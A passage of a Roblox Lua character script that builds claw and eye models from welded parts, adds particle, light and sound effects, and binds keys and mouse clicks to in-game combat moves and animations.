mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2621
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2622
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2623
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2624
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2625
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2626
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2627
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2628
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2629
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2630
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2631
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2632
2633
local modelzorz3=Instance.new("Model") 
2634
modelzorz3.Parent=Character 
2635
modelzorz3.Name="Eye"
2636
2637
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2638
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
2639
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
2640
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2641
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2642
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
2643
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2644
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2645
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
2646
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
2647
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2648
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
2649
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
2650
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2651
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
2652
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2653
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
2654
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2655
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2656
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2657
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
2658
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2659
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
2660
local moosick = it("Sound",Character)
2661
moosick.SoundId = "rbxassetid://613035749"
2662
 --142653441, 175067863
2663
moosick.Looped = true
2664
moosick.Pitch = 0.9775
2665
moosick.Volume = 1.5
2666
moosick:Play()
2667
2668
anim = Character:findFirstChild("Animate")
2669
if anim then
2670
anim:Destroy()
2671
end
2672
2673
local particleemitter = Instance.new("ParticleEmitter", Handle)
2674
particleemitter.VelocitySpread = 180
2675
particleemitter.Lifetime = NumberRange.new(0.1)
2676
particleemitter.Speed = NumberRange.new(2)
2677
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2678
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2679
particleemitter.Rate = 100
2680
particleemitter.Rotation = NumberRange.new(-45, 45)
2681
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2682
particleemitter.LightEmission = 0.8
2683
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2684
2685
local particleemitter = Instance.new("ParticleEmitter", Handle2)
2686
particleemitter.VelocitySpread = 180
2687
particleemitter.Lifetime = NumberRange.new(0.1)
2688
particleemitter.Speed = NumberRange.new(2)
2689
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2690
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2691
particleemitter.Rate = 100
2692
particleemitter.Rotation = NumberRange.new(-45, 45)
2693
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2694
particleemitter.LightEmission = 0.8
2695
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2696
2697
local particleemitter = Instance.new("ParticleEmitter", handle)
2698
particleemitter.VelocitySpread = 180
2699
particleemitter.Lifetime = NumberRange.new(0.1)
2700
particleemitter.Speed = NumberRange.new(2)
2701
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
2702
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2703
particleemitter.Rate = 100
2704
particleemitter.Rotation = NumberRange.new(-45, 45)
2705
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2706
particleemitter.LightEmission = 0.8
2707
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2708
2709
local light = Instance.new("PointLight", Character.Torso)
2710
light.Color = Color3.new(255,255,255)
2711
light.Brightness = 5
2712
light.Range = 15
2713
2714
particleemitter.Enabled = true
2715
2716
local Footsteps = it("Sound",Character.Torso)
2717
Footsteps.SoundId = "rbxassetid://142665235"
2718
Footsteps.Looped = true
2719
Footsteps.Pitch = 0.8
2720
Footsteps.Volume = 0.3
2721
2722
local Footsteps2 = it("Sound",Character.Torso)
2723
Footsteps2.SoundId = "rbxassetid://142665235"
2724
Footsteps2.Looped = true
2725
Footsteps2.Pitch = 1
2726
Footsteps2.Volume = 0.4
2727
2728
local cam = game.Workspace.CurrentCamera
2729
2730
--cam.CameraSubject = Character
2731
2732
for i,v in pairs(Head:children()) do
2733
    if v:IsA("Sound") then
2734
        v:Destroy()
2735
    end
2736
end
2737
2738
mouse.Button1Down:connect(function()
2739
        if attack==false and attacktype==1 then
2740
                attacktype=2
2741
                attackone()
2742
        elseif attack==false and attacktype==2 then
2743
                attacktype=3
2744
                attacktwo()
2745
		elseif attack==false and attacktype==3 then
2746
				attacktype=4
2747
				attackthree()
2748
		elseif attack==false and attacktype==4 then
2749
				attacktype=1
2750
				attackfour()
2751
        end
2752
end)
2753
2754
mouse.KeyDown:connect(function(k)
2755
	k=k:lower()
2756
	if k=='e' then
2757
		if attack==false and mana>=20 then
2758
			Push()
2759
		end
2760
		elseif k=='g' then
2761
		if attack==false and mana>=50 then
2762
			Twirl()
2763
		end
2764
		elseif k=='v' then
2765
		if attack==false and mana>=25 then
2766
			MagicJump()
2767
		end
2768
		elseif k=='c' then
2769
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2770
    attack=true
2771
        for i = 1, 40 do
2772
          swait()
2773
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2774
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2775
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2776
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2777
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2778
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2779
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2780
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2781
        end
2782
			Blaze()
2783
attack = false
2784
end
2785
		elseif k=='x' then
2786
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2787
    attack=true
2788
        for i = 1, 15 do
2789
          swait()
2790
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2791
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2792
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2793
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2794
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2795
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2796
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2797
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2798
        end
2799
so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
2800
so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
2801
for i = 0, 30 do
2802
	BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
2803
wait(0.1)
2804
end
2805
local parteffected = Instance.new("Part",tors)
2806
parteffected.Transparency = 1
2807
parteffected.Position = tors.Position
2808
parteffected.CanCollide = false
2809
parteffected.Anchored = true
2810
so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
2811
so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
2812
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
2813
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
2814
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
2815
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
2816
        local sbs = Instance.new("BodyPosition", RootPart)
2817
        sbs.P = 3000
2818
        sbs.D = 1000
2819
        sbs.maxForce = Vector3.new(500000, 500000000, 500000)
2820
        sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
2821
        for i = 1, 40 do
2822
          swait()
2823
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2824
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2825
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2826
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2827
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2828
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2829
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2830
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2831
        end
2832
wait(3)
2833
			Blaze2()
2834
attack = false
2835
parteffected:Destroy()
2836
sbs:Destroy()
2837
end
2838
		elseif k=='q' then
2839
		if attack==false then
2840
		idle=1000
2841
		end
2842
		elseif k=='h' then
2843
		if attack==false then
2844
		mana=100
2845
		end
2846
		elseif k=='y' then
2847
		if attack==false and mana>=100 then
2848
			Shred()
2849
		end
2850
		elseif k=='f' then
2851
		if attack==false and mana>=40 then
2852
			Spin()
2853
		end
2854
		elseif k=='r' then
2855
		if attack==false and mana>=20 then
2856
			Clap()
2857
		end
2858
		elseif k=='t' then
2859
		if attack==false then
2860
			Hai()
2861
		end
2862
		elseif k=='0' then
2863
		if attack==false then
2864
			Humanoid.WalkSpeed=(24)
2865
		end
2866
		elseif k=='j' then
2867
		if attack==false then
2868
			Humanoid.Health = 10
2869
			print("Congrats, you commited suicide.")
2870
		end
2871
	end
2872
end)
2873
2874
mouse.KeyDown:connect(function(k)
2875
if k == "z" and Ultramode == false then
2876
if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2877
                attack = true
2878
        for i = 1, 15 do
2879
          swait()
2880
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2881
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2882
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2883
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2884
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2885
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2886
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2887
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2888
        end
2889
m:Destroy()
2890
local m = Instance.new("Model", Character)
2891
m.Name = "WeaponModel"
2892
local parta = Instance.new("Part",Character)
2893
  parta.Size = vt(10,10,10)
2894
  parta.BrickColor = BrickColor.new("Really black")
2895
  parta.Material = "Neon"
2896
  parta.Shape = "Ball"
2897
  parta.Transparency = 0
2898
  parta.Anchored = true
2899
  parta.CanCollide = false
2900
  parta.CFrame = tors.CFrame
2901
                Transform()
2902
parta:Destroy()
2903
2904
local modelzorzz=Instance.new("Model") 
2905
modelzorzz.Parent=Character 
2906
modelzorzz.Name="Claw1"
2907
2908
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2909
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2910
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2911
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2912
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2913
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2914
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2915
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2916
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2917
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2918
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2919
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2920
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2921
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2922
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2923
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2924
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2925
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2926
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2927
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2928
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2929
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2930
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2931
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2932
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2933
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2934
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2935
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2936
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2937
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2938
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2939
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2940
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2941
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2942
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2943
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2944
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2945
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2946
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2947
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2948
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2949
2950
local modelzorzz2=Instance.new("Model") 
2951
modelzorzz2.Parent=Character 
2952
modelzorzz2.Name="Claw2"
2953
2954
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2955
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2956
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2957
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2958
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2959
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2960
